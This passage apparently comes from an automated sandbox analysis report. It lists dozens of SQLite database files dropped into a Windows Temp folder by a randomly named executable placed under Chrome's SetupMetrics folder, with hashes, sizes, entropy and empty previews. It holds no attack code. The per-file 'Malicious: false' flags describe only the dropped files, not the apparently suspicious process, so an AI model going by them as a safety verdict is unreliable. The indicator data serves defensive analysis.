SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V8azPaE8Gp

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VD6wG8v2Kv

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VOlMonbq2z

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vgq2VUwmU5

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WTWwIuwfSB

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WaplIz44wJ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WcIaRrzCZ7

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WeBA56kCXp

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WhVUM2lTDU

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\X110FfvWXQ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\X5FXp3SoWY

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XFit71M9OP

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XPNaXycp4d

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XXQ0v2rKyW

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XcRFCytdhf

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XqJi48QepW

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YAEWKfdlLC

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ycl0D2uj1l

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZFtuAlcGyx

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZKMFWo0luM

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZKrEb5ZT9u

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZfAo5j1v46

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZhdjtXmbQE

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZmBKSANM6L

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aK1BRR6gmW

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\arK8hT4qt0

Download File

